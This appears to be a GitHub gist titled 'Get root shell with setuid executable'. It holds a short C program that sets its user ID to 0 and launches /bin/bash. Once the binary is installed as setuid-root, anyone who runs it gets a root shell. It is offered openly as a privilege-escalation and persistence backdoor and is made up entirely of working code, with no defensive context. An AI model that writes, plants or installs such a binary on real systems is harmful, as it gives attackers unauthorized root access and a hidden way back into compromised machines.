Skip to content

Instantly share code, notes, and snippets.

@herrphon
Created December 18, 2017 12:54
Show Gist options
  • Save herrphon/50c2f89c58c31260f7ceaad792b96eab to your computer and use it in GitHub Desktop.
Save herrphon/50c2f89c58c31260f7ceaad792b96eab to your computer and use it in GitHub Desktop.
Get root shell with setuid executable
#include <unistd.h>
int main() {
const char *b = "/bin/bash";
setuid(0);
execl(b, b, 0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment